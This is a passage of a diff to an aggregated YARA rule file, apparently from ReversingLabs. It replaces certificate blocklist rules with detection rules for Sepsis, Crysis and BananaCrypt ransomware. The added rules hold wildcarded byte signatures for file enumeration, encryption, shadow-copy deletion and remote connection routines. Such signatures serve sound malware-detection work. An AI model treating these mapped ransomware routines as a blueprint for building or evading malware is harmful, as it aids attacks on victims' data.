?? C3 + } + $delete_shadow_copies = { + 6A ?? 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? E8 ?? ?? ?? ?? 33 C0 5A 59 59 + 64 89 10 EB ?? E9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? + ?? 6A ?? 6A ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B 00 E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B + 00 E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B 00 E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B 00 E8 ?? ?? + ?? ?? A1 ?? ?? ?? ?? 8B 00 E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B 00 E8 ?? ?? ?? ?? A1 ?? + ?? ?? ?? 8B 00 E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B 00 E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B + 00 E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B 00 E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B 00 E8 ?? ?? + ?? ?? A1 ?? ?? ?? ?? 8B 00 E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B 00 E8 ?? ?? ?? ?? A1 ?? + ?? ?? ?? 8B 00 E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B 00 E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B + 00 E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B 00 E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B 00 E8 ?? ?? + ?? ?? A1 ?? ?? ?? ?? 8B 00 E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B 00 E8 ?? ?? ?? ?? A1 ?? + ?? ?? ?? 8B 00 E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B 00 E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B + 00 E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B 00 E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B 00 E8 ?? ?? + ?? ?? 33 C0 5A 59 59 64 89 10 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? + ?? ?? ?? 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? C3 E9 ?? ?? ?? ?? EB ?? 5F 5E 5B 8B + E5 5D C3 + } + condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Datamingo Limited" and ( pe.signatures [ i ] . serial == "00:9c:48:16:d9:00:a6:ec:db:e5:4a:df:72:b1:9e:bc:f5" or pe.signatures [ i ] . serial == "9c:48:16:d9:00:a6:ec:db:e5:4a:df:72:b1:9e:bc:f5" ) and 1557187200 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and ( $find_files ) and ( $encrypt_files ) and ( $delete_shadow_copies ) } - -rule REVERSINGLABS_Cert_Blocklist_269174F9Fe7C6Ed4E1D19B26C3F5B35F : INFO FILE +rule REVERSINGLABS_Win32_Ransomware_Sepsis : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Yara rule that detects Sepsis ransomware." author = "ReversingLabs" - id = "fbcf1f18-f612-5516-9a67-2564de76c456" - date = "2020-08-05" - modified = "2023-11-08" + id = "0c26d6e0-1d64-5f47-8e21-6710a531bc74" + date = "2020-06-26" + modified = "2020-07-15" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L3866-L3882" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Sepsis.yara#L1-L126" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "95c9720d6311c2fe7026b6cac092d59967479e6c9382eac1d26f7745efa92860" + logic_hash = "171ad074a780b45195c6e02b111b3883c58a4028e635c4d6b8ce27c5e05e35d7" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Ransomware" + tc_detection_name = "Sepsis" + tc_detection_factor = 5 importance = 25 + strings: + $search_files_1 = { + 55 8B EC 83 E4 ?? 81 EC ?? ?? ?? ?? 53 8B 5D ?? 8D 84 24 ?? ?? ?? ?? 56 57 8B 3D ?? + ?? ?? ?? 68 ?? ?? ?? ?? 53 50 FF D7 8D 44 24 ?? 50 8D 84 24 ?? ?? ?? ?? 50 FF 15 ?? + ?? ?? ?? 8D 4C 24 ?? 89 44 24 ?? 51 50 FF 15 ?? ?? ?? ?? 85 C0 0F 84 + } + $search_files_2 = { + 68 ?? ?? ?? ?? 8D 44 24 ?? 50 FF D6 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24 + ?? 50 FF D6 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24 ?? 50 FF D6 85 C0 0F 84 + ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24 ?? 50 FF D6 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? + ?? 8D 44 24 ?? 50 FF D6 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24 ?? 50 FF D6 + 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24 ?? 50 FF D6 85 C0 0F 84 ?? ?? ?? ?? + 68 ?? ?? ?? ?? 8D 44 24 ?? 50 FF D6 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24 + ?? 50 FF D6 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24 ?? 50 FF D6 85 C0 0F 84 + ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24 ?? 50 FF D6 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? + ?? 8D 44 24 ?? 50 FF D6 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24 ?? 50 FF D6 + 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24 ?? 50 FF D6 85 C0 74 ?? 68 ?? ?? ?? + ?? 8D 44 24 ?? 50 FF D6 85 C0 74 ?? F6 44 24 ?? ?? 8D 44 24 ?? 50 53 8D 84 24 ?? ?? + ?? ?? 50 74 ?? FF D7 8D 84 24 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? EB ?? FF D7 8D 44 24 ?? + 50 FF 15 ?? ?? ?? ?? 8B D0 8D 7A + } + $search_files_3 = { + 66 8B 0A 83 C2 ?? 66 85 C9 75 ?? 2B D7 D1 FA 83 FA ?? 75 ?? 66 83 78 ?? ?? 74 ?? 8D + 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 3D ?? ?? ?? ?? 8D 44 24 ?? 50 FF 74 24 ?? FF 15 + ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? FF 74 24 ?? FF 15 ?? ?? ?? ?? 5F 5E 33 C0 5B 8B + E5 5D C2 + } + $search_files_4 = { + 68 ?? ?? ?? ?? 8D 44 24 ?? 50 FF D6 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24 + ?? 50 FF D6 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24 ?? 50 FF D6 85 C0 0F 84 + ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24 ?? 50 FF D6 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? + ?? 8D 44 24 ?? 50 FF D6 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24 ?? 50 FF D6 + 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24 ?? 50 FF D6 85 C0 0F 84 ?? ?? ?? ?? + 68 ?? ?? ?? ?? 8D 44 24 ?? 50 FF D6 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24 + ?? 50 FF D6 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24 ?? 50 FF D6 85 C0 0F 84 + ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24 ?? 50 FF D6 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? + ?? 8D 44 24 ?? 50 FF D6 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24 ?? 50 FF D6 + 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24 ?? 50 FF D6 85 C0 0F 84 ?? ?? ?? ?? + 68 ?? ?? ?? ?? 8D 44 24 ?? 50 FF D6 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24 + ?? 50 FF D6 85 C0 74 ?? 68 ?? ?? ?? ?? 8D 44 24 ?? 50 FF D6 85 C0 74 ?? F6 44 24 ?? + ?? 8D 44 24 ?? 50 53 8D 84 24 ?? ?? ?? ?? 50 74 ?? FF D7 8D 84 24 ?? ?? ?? ?? 50 E8 + ?? ?? ?? ?? EB ?? FF D7 8D 44 24 ?? 50 FF 15 ?? ?? ?? ?? 8B D0 8D 7A ?? 66 8B 0A 83 + C2 ?? 66 85 C9 75 ?? 2B D7 D1 FA 83 FA ?? 75 ?? 66 83 78 ?? ?? 74 ?? 8D 8C 24 ?? ?? + ?? ?? E8 ?? ?? ?? ?? 8B 3D ?? ?? ?? ?? 8D 44 24 ?? 50 FF 74 24 ?? FF 15 ?? ?? ?? ?? + 85 C0 0F 85 ?? ?? ?? ?? FF 74 24 ?? FF 15 ?? ?? ?? ?? 5F 5E 33 C0 5B 8B E5 5D C2 + } + $encrypt_files_1 = { + BA ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? BA ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? + ?? ?? 6A ?? FF D6 0F 10 05 ?? ?? ?? ?? 8B F8 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? + ?? ?? ?? 50 0F 11 07 89 3D ?? ?? ?? ?? 0F 10 05 ?? ?? ?? ?? 0F 11 47 ?? 0F 10 05 ?? + ?? ?? ?? 0F 11 47 ?? E8 ?? ?? ?? ?? 83 C4 ?? C7 45 ?? ?? ?? ?? ?? 8D 45 ?? C7 45 ?? + ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 6A ?? 6A ?? 50 8D 85 ?? ?? ?? ?? 50 6A ?? 6A ?? 8D + 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 85 C0 75 ?? 33 FF E9 ?? ?? ?? ?? 8D 45 ?? 50 8D + 45 ?? 50 6A ?? 68 ?? ?? ?? ?? FF 75 ?? 8D 85 ?? ?? ?? ?? 50 6A ?? 6A ?? FF 15 ?? ?? + ?? ?? 85 C0 75 ?? 33 FF E9 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 8D 45 ?? 50 + FF 15 ?? ?? ?? ?? 85 C0 75 ?? 33 FF E9 ?? ?? ?? ?? 8D 45 ?? 50 FF 75 ?? 6A ?? FF 75 + ?? FF 15 ?? ?? ?? ?? 85 C0 75 ?? 33 FF EB ?? FF 75 ?? FF 15 ?? ?? ?? ?? 8B CF 8D 51 + } + $encrypt_files_2 = { + 8A 01 41 84 C0 75 ?? 2B CA 8D 45 ?? 51 50 6A ?? 6A ?? 6A ?? 6A ?? FF 75 ?? 89 4D ?? + 89 4D ?? FF D3 85 C0 75 ?? 33 FF EB ?? FF 75 ?? FF D6 FF 75 ?? 8B F0 6A ?? 56 E8 ?? + ?? ?? ?? FF 75 ?? 57 56 E8 ?? ?? ?? ?? 83 C4 ?? 8D 45 ?? FF 75 ?? 50 56 6A ?? 6A ?? + 6A ?? FF 75 ?? FF D3 8B F8 F7 DF 1B FF 23 FE 8B 35 ?? ?? ?? ?? 8B D7 8D 4A ?? 66 90 + 8A 02 42 84 C0 75 ?? 2B D1 8B CF E8 ?? ?? ?? ?? A3 ?? ?? ?? ?? 8D 50 ?? 8A 08 40 84 + C9 75 ?? 2B C2 57 A3 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 83 C4 ?? 81 3D ?? ?? ?? ?? ?? ?? + ?? ?? 0F 82 ?? ?? ?? ?? 5F 5E 5B 8B E5 5D C3 + } + $encrypt_files_3 = { + 55 8B EC 83 EC ?? 57 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 8B C1 68 ?? ?? ?? ?? 50 + 89 45 ?? FF 15 ?? ?? ?? ?? 8B F8 83 FF ?? 75 ?? 0B C0 5F 8B E5 5D C3 53 6A ?? 57 FF + 15 ?? ?? ?? ?? 8B D8 83 FB ?? 75 ?? FF 75 ?? 57 FF 15 ?? ?? ?? ?? 8B D8 56 B8 ?? ?? + ?? ?? 6A ?? 3B D8 0F 47 D8 53 6A ?? 6A ?? 6A ?? 57 FF 15 ?? ?? ?? ?? 8B F0 83 FE ?? + 75 ?? 5E 5B 0B C0 5F 8B E5 5D C3 6A ?? 6A ?? 6A ?? 6A ?? 56 FF 15 ?? ?? ?? ?? 56 8B + 35 ?? ?? ?? ?? 89 45 ?? FF D6 57 FF D6 E8 ?? ?? ?? ?? 0F 10 05 ?? ?? ?? ?? 0F 11 05 + ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 ?? 8B F8 BE ?? ?? ?? ?? 0F 10 05 ?? ?? ?? ?? 0F 11 + 05 ?? ?? ?? ?? 85 DB 74 + } + $encrypt_files_4 = { + 8A 0C 06 8D 40 ?? 30 48 ?? 83 EA ?? 75 ?? 8B CF E8 ?? ?? ?? ?? 8B F7 83 C7 ?? 83 EB + ?? 75 ?? 8B 45 ?? 0F 10 06 50 0F 11 05 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? + 6A ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 55 ?? 83 C4 ?? 8B F2 + } + $encrypt_files_5 = { + 66 8B 02 83 C2 ?? 66 85 C0 75 ?? BB ?? ?? ?? ?? 2B D6 8D 7B ?? 66 8B 47 ?? 83 C7 ?? + 66 85 C0 75 ?? 8B CA C1 E9 ?? F3 A5 8B CA 83 E1 ?? 83 C3 ?? F3 A4 66 8B 43 ?? 83 C3 + ?? 66 85 C0 75 ?? 8B FB B9 ?? ?? ?? ?? 8B 5D ?? BE ?? ?? ?? ?? 68 ?? ?? ?? ?? F3 A5 + 53 FF 15 ?? ?? ?? ?? 6A ?? 8B F0 6A ?? 56 FF 15 ?? ?? ?? ?? 56 FF 35 ?? ?? ?? ?? 6A + ?? FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? + 53 FF 15 ?? ?? ?? ?? 5E 5B 33 C0 5F 8B E5 5D C3 + } + condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "GO ONLINE d.o.o." and pe.signatures [ i ] . serial == "26:91:74:f9:fe:7c:6e:d4:e1:d1:9b:26:c3:f5:b3:5f" and 1586386919 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and ( all of ( $search_files_* ) ) and ( all of ( $encrypt_files_* ) ) } - -rule REVERSINGLABS_Cert_Blocklist_523Fb4036368Dc26192D68827F2D889B : INFO FILE +rule REVERSINGLABS_Win32_Ransomware_Crysis : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Yara rule that detects Crysis ransomware." author = "ReversingLabs" - id = "bfce2ea9-cbe0-5b58-b7f8-39d2dad28db6" - date = "2020-08-05" - modified = "2023-11-08" + id = "bba2bbf5-ff77-5ec4-ae7f-afae1b564fb7" + date = "2020-06-26" + modified = "2020-07-15" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L3884-L3900" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Crysis.yara#L1-L108" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "f1886a046305637d335c493972560de56d8186bf99183aed5e2040b2e530fc22" + logic_hash = "3c9250206f94ac65c1fc24e83cf8cdd76d10066086ef1f34ec14791d237c0263" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Ransomware" + tc_detection_name = "Crysis" + tc_detection_factor = 5 importance = 25 + strings: + $remote_connection_1 = { + 55 8B EC 83 EC ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? 6A ?? 6A ?? + 6A ?? FF 15 ?? ?? ?? ?? 89 45 ?? 6A ?? 6A ?? 8D 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? B9 + ?? ?? ?? ?? 66 89 4D ?? 6A ?? FF 15 ?? ?? ?? ?? 66 89 45 ?? 8B 55 ?? 52 FF 15 ?? ?? + ?? ?? 89 45 ?? 83 7D ?? ?? 0F 84 ?? ?? ?? ?? 83 7D ?? ?? 0F 84 ?? ?? ?? ?? C7 45 ?? + ?? ?? ?? ?? EB ?? 8B 45 ?? 83 C0 ?? 89 45 ?? 8B 4D ?? 8B 51 ?? 8B 45 ?? 83 3C 82 ?? + 74 ?? 8B 4D ?? 0F BF 51 ?? 52 8B 45 ?? 8B 48 ?? 8B 55 ?? 8B 04 91 50 8D 4D ?? 51 E8 + ?? ?? ?? ?? 83 C4 ?? 6A ?? 8D 55 ?? 52 8B 45 ?? 50 FF 15 ?? ?? ?? ?? 85 C0 75 ?? 6A + ?? 8B 4D ?? 51 FF 15 ?? ?? ?? ?? 50 8B 55 ?? 52 8B 45 ?? 50 FF 15 ?? ?? ?? ?? 6A ?? + 6A ?? 8D 4D ?? 51 8B 55 ?? 52 FF 15 ?? ?? ?? ?? 8B 45 ?? 50 FF 15 ?? ?? ?? ?? C7 45 + ?? ?? ?? ?? ?? EB ?? E9 ?? ?? ?? ?? 8B 45 ?? 8B E5 5D C3 + } + $enumerate_files = { + 55 8B EC 83 E4 ?? 81 EC ?? ?? ?? ?? 53 33 DB 81 7D ?? ?? ?? ?? ?? 56 57 89 5C 24 ?? + 0F 8D ?? ?? ?? ?? 68 ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8B 7D ?? + 57 8B F0 FF 15 ?? ?? ?? ?? 3D ?? ?? ?? ?? 0F 8D ?? ?? ?? ?? 68 ?? ?? ?? ?? 57 6A ?? + 68 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 8E ?? ?? ?? ?? 8D 44 24 ?? 50 56 + FF 15 ?? ?? ?? ?? 89 44 24 ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? 8B 5D ?? 8D 4C 24 ?? 51 68 + ?? ?? ?? ?? 57 6A ?? 68 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 7E ?? F6 44 24 + ?? ?? 74 ?? 66 83 7C 24 ?? ?? 74 ?? 53 8D 54 24 ?? 52 8B D6 8B CF FF 55 ?? 85 C0 7E + ?? 8B 45 ?? 8B 4D ?? 40 50 53 51 56 E8 ?? ?? ?? ?? 83 C4 ?? EB ?? 53 8D 54 24 ?? 52 + 8B D6 8B CF FF 55 ?? 85 C0 7E ?? FF 44 24 ?? 8B 4C 24 ?? 8D 44 24 ?? 50 51 FF 15 ?? + ?? ?? ?? 85 C0 7F ?? 8B 54 24 ?? 52 FF 15 ?? ?? ?? ?? 8B 5C 24 ?? 56 6A ?? FF 15 ?? + ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 5F 5E 8B C3 5B 8B E5 5D C3 + } + $enumerate_resources = { + FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? + 8D 55 ?? 52 8B 45 ?? 50 8D 4D ?? 51 8B 55 ?? 52 FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? + ?? ?? C7 45 ?? ?? ?? ?? ?? EB ?? 8B 45 ?? 83 C0 ?? 89 45 ?? 8B 4D ?? 3B 4D ?? 0F 83 + ?? ?? ?? ?? 8B 55 ?? C1 E2 ?? 8B 45 ?? 83 7C 10 ?? ?? 75 ?? 8B 4D ?? 51 FF 15 ?? ?? + ?? ?? 8B 55 ?? C1 E2 ?? 8B 4D ?? 8B 75 ?? 8B 54 16 ?? E8 ?? ?? ?? ?? 85 C0 74 ?? 8B + 45 ?? 50 8B 4D ?? 51 8B 55 ?? C1 E2 ?? 8B 45 ?? 8B 4C 10 ?? 51 E8 ?? ?? ?? ?? 83 C4 + ?? 8B 55 ?? C1 E2 ?? 8B 45 ?? 8B 4C 10 ?? 83 E1 ?? 74 ?? 8B 55 ?? 52 8B 45 ?? 50 8B + 4D ?? 51 8B 55 ?? C1 E2 ?? 03 55 ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? E9 ?? ?? ?? ?? C7 45 + ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? E9 ?? ?? ?? ?? 8B 45 ?? 50 FF 15 ?? ?? ?? ?? 8D + 4D ?? 51 8B 55 ?? 52 6A ?? 6A ?? 6A ?? FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? C7 + 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8D 45 ?? 50 8B 4D ?? 51 8D 55 ?? 52 8B 45 ?? + 50 FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? EB ?? 8B 4D ?? 83 + C1 ?? 89 4D ?? 8B 55 ?? 3B 55 ?? 0F 83 ?? ?? ?? ?? 8B 45 ?? C1 E0 ?? 8B 4D ?? 83 7C + 01 ?? ?? 75 ?? 8B 55 ?? 52 FF 15 ?? ?? ?? ?? 8B 55 ?? C1 E2 ?? 8B 4D ?? 8B 75 ?? 8B + 54 16 ?? E8 ?? ?? ?? ?? 85 C0 74 ?? 8B 45 ?? 50 8B 4D ?? 51 8B 55 ?? C1 E2 ?? 8B 45 + ?? 8B 4C 10 ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 55 ?? C1 E2 ?? 8B 45 ?? 8B 4C 10 ?? 83 + E1 ?? 74 ?? 8B 55 ?? 52 8B 45 ?? 50 8B 4D ?? 51 8B 55 ?? C1 E2 ?? 03 55 ?? 52 E8 ?? + ?? ?? ?? 83 C4 ?? E9 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? E9 ?? ?? + ?? ?? 8B 45 ?? 50 FF 15 ?? ?? ?? ?? 5E 8B E5 5D C3 + } + $encrypt_files = { + 55 8B EC 81 EC ?? ?? ?? ?? 53 8B D8 33 C0 56 89 45 ?? 89 45 ?? 89 45 ?? 89 45 ?? 8B + 45 ?? 6A ?? 50 8D 4D ?? 51 8D 77 ?? C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 ?? 8B + D3 83 E2 ?? 2B DA 83 EB ?? 83 C4 ?? 89 5D ?? 8B 1D ?? ?? ?? ?? 50 FF D3 89 45 ?? 83 + F8 ?? 0F 84 ?? ?? ?? ?? 8B 4D ?? 51 FF D3 83 F8 ?? 0F 85 ?? ?? ?? ?? 8B 55 ?? 81 C2 + ?? ?? ?? ?? 81 FA ?? ?? ?? ?? 0F 83 ?? ?? ?? ?? 8B 45 ?? A8 ?? 74 ?? 83 E0 ?? 50 8B + 45 ?? 50 FF 15 ?? ?? ?? ?? 8B 4D ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 51 + FF 15 ?? ?? ?? ?? 8B D8 89 5D ?? 83 FB ?? 0F 84 ?? ?? ?? ?? 6A ?? 8D 55 ?? 52 33 C0 + 33 C9 51 50 53 89 45 ?? 89 45 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 83 7D ?? + ?? 75 ?? 83 7D ?? ?? 0F 84 ?? ?? ?? ?? 33 C9 51 8D 55 ?? 52 33 C0 50 51 53 FF 15 ?? + ?? ?? ?? 8B 45 ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? + 8B D8 83 FB ?? 0F 84 ?? ?? ?? ?? 8B 55 ?? 8B 4D ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? + 8B 55 ?? 8B 45 ?? 6A ?? 8D 4D ?? 51 52 57 50 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? + ?? 8B 4D ?? 85 C9 74 ?? 8B 45 ?? 85 C0 75 ?? 3B 4D ?? 73 ?? 8B D1 83 E2 ?? B8 ?? ?? + ?? ?? 2B C2 89 45 ?? 57 03 C1 8D 8D ?? ?? ?? ?? 57 51 E8 ?? ?? ?? ?? 8B 4D ?? 03 4D + ?? 83 C4 ?? 6A ?? 8D 55 ?? 52 51 57 53 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8B + 45 ?? 03 45 ?? 39 45 ?? 0F 85 ?? ?? ?? ?? 8B 55 ?? 8B 45 ?? 6A ?? 8D 4D ?? 51 52 57 + 50 FF 15 ?? ?? ?? ?? 85 C0 75 ?? E9 ?? ?? ?? ?? 6A ?? 6A ?? 57 E8 ?? ?? ?? ?? 8B 45 + ?? 83 C4 ?? C7 47 ?? ?? ?? ?? ?? C7 47 ?? ?? ?? ?? ?? 85 C0 74 ?? 8B 4D ?? 51 50 56 + C7 47 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 ?? 83 C4 ?? 03 F0 01 45 ?? 8B 55 ?? 6A ?? + 52 56 E8 ?? ?? ?? ?? 8B 45 ?? 6A ?? 50 83 C6 ?? 56 E8 ?? ?? ?? ?? 6A ?? 8D 4D ?? 51 + 83 C6 ?? 56 E8 ?? ?? ?? ?? 6A ?? 8D 55 ?? 52 83 C6 ?? 56 E8 ?? ?? ?? ?? 8B 45 ?? 68 + ?? ?? ?? ?? 50 83 C6 ?? 56 E8 ?? ?? ?? ?? 6A ?? 8D 4D ?? 51 83 EE ?? 56 E8 ?? ?? ?? + ?? 83 C4 ?? 6A ?? 8D 55 ?? 52 83 C6 ?? 2B F7 56 57 53 FF 15 ?? ?? ?? ?? 85 C0 74 ?? + 39 75 ?? 75 ?? 53 FF 15 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? 83 7D + ?? ?? 7E ?? 8B 75 ?? 33 C9 51 8D 55 ?? 52 33 C0 50 51 56 FF 15 ?? ?? ?? ?? 56 FF 15 + ?? ?? ?? ?? 8B 5D ?? 53 FF 15 ?? ?? ?? ?? 83 7D ?? ?? 7E ?? 8B 45 ?? 8B 4D ?? 50 51 + FF 15 ?? ?? ?? ?? 8B 55 ?? 52 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 6A + ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8B 45 ?? 5E 5B 8B E5 5D C3 + } + condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "OOO MEDUZA SERVICE GROUP" and pe.signatures [ i ] . serial == "52:3f:b4:03:63:68:dc:26:19:2d:68:82:7f:2d:88:9b" and 1586847880 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and ( $enumerate_resources and $enumerate_files and $encrypt_files and $remote_connection_1 ) } - -rule REVERSINGLABS_Cert_Blocklist_84F842F6D33Cd2F25B88Dd1710E21137 : INFO FILE +rule REVERSINGLABS_Win32_Ransomware_Bananacrypt : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Yara rule that detects BananaCrypt ransomware." author = "ReversingLabs" - id = "202593d3-d63a-5852-b680-516504d92031" - date = "2020-08-05" - modified = "2023-11-08" + id = "9e47d094-d7fc-57dd-826c-5321d0219273" + date = "2020-09-14" + modified = "2020-09-14" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L3902-L3920" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.BananaCrypt.yara#L1-L103" 